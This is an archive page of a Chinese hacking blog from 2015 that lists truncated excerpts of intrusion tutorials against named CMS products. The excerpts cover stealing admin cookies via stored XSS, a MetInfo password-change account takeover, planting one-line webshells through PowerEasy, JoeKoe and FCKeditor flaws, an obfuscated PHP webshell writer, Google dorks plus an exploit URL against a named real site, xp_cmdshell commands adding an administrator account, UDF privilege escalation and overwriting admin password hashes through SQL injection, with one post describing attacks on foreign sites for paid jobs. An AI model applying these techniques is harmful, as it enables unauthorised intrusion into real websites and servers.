09 2015 档案
摘要：首先 利用方法，在线留言处： 名字填写： Noevil 内容：随意。 后台管理员查看留言列表，自动截取Cookie，NoXss会努力的去Keep Session 不一定非得这样拿到管理员权限、、（方法很多，不多介绍） 重点： 登陆后台拿Shell： 添加模板，上传Zip，Zip里的东西会自动解压到
阅读全文
posted @ 2015-09-30 22:33
小生观察室
摘要：谷歌搜：powered by Metlnfo 4.0 随便找个网站，先注册个会员 然后修改密码的时候进行抓包 useid直接修改成管理员帐号，修改前： 修改后： 提示成功 进入 后台
阅读全文
posted @ 2015-09-30 22:31
小生观察室
摘要：PowerEasy SiteWeaver CMS 6.8 ACCESS Build 090918 1st.进入后台、系统设置、 自定义页面管理 、添加自定义分类2st.添加自定义页面、页面名称：test.asp 页面路径：不填 文件名称：test.asp 页面简介：test.asp 页面内容:一句话
阅读全文
posted @ 2015-09-30 21:33
小生观察室
摘要：日国外站的单子 ：反正跑着玩 简单看下 先 在线web扫描 https://www.yascanner.com/之后发现存在注入漏洞 asp的站 穿山甲可以注入，但是发现是mysql的还卡的有点慢上代理， 发现是root权限， url大小写访问 没变化，确定是windows服务器，可以写，自己在C盘
阅读全文
posted @ 2015-09-30 21:23
小生观察室
摘要：上传漏洞:看/common/include/web.upload.asp 中的代码 乔客(JoeKoe) CMS 4.0后台拿shell。来到后台—>系统管理—>网站配置—>网站名称—>在网站名称那里写入一句话。 然后通过一句话链接器连接. www.XXX.com/index.asp 即可！
阅读全文
posted @ 2015-09-28 11:40
小生观察室
摘要：fckeditor <= 2.6.4 任意文件上传漏洞, php coldfunsion应该KO了，asp表示很淡定，其他语言版本未测 <? error_reporting(0); set_time_limit(0); ini_set("default_socket_timeout", 5); de
阅读全文
posted @ 2015-09-28 10:51
小生观察室
摘要：后台可以提交构造代码绕过过滤,成功解析生成一句话木马. <?php $filen=chr(46).chr(46).chr(47).chr(110).chr(117).chr(108).chr(108).chr(46).chr(112).chr(104).chr(112); $filec=chr(60
阅读全文
posted @ 2015-09-28 10:07
小生观察室
摘要：使用方法： 谷歌批量搜索 关键字：inurl:yp/product.php exp代码： product.php?}} 找取一个网站：www.slsdgc.com.cn/yp/product.php?catid=721 exp利用方法：www.slsdgc.com.cn/yp/product.php
阅读全文
posted @ 2015-09-25 16:34
小生观察室
摘要：net user SQLDebugger list /addnet localgroup administrators SQLDebugger /add Error Message:未能找到存储过程 'master..xp_cmdshell'。 修复法：很通用的，其实碰到 其他126 127的都可以
阅读全文
posted @ 2015-09-25 16:22
小生观察室
摘要：今儿遇见一个站，支持aspx，但是不定全满，找不到SA，逼迫使用udf提权，但是提权过程里面遇见了一些问题可以导出 然后就去执行神马create function cmdshell returns string soname 'c:\windows\udf.dll'可是悲剧就来了请检查SQL语句Cr
阅读全文
posted @ 2015-09-25 16:17
小生观察室
摘要：on error resume next const HKEY_LOCAL_MACHINE = &H80000002 strComputer = "." Set StdOut = WScript.StdOut Set oReg=GetObject("winmgmts:{impersonationLe
阅读全文
posted @ 2015-09-25 16:07
小生观察室
摘要：经常拿站的黑阔们一定经常碰到，某个网站有注入点，管理员帐号和密码多暴出来了。 可是密码是MD5加密的。而且在线的MD5解密不了。你说咋办？直接修改管理员密码的MD5值。然后进后台！(当然是有条件的。MSSQL) 测试如下： http://www.xxxxxx.com/news.asp?id=121
阅读全文
posted @ 2015-09-25 15:59
小生观察室
浙公网安备 33010602011771号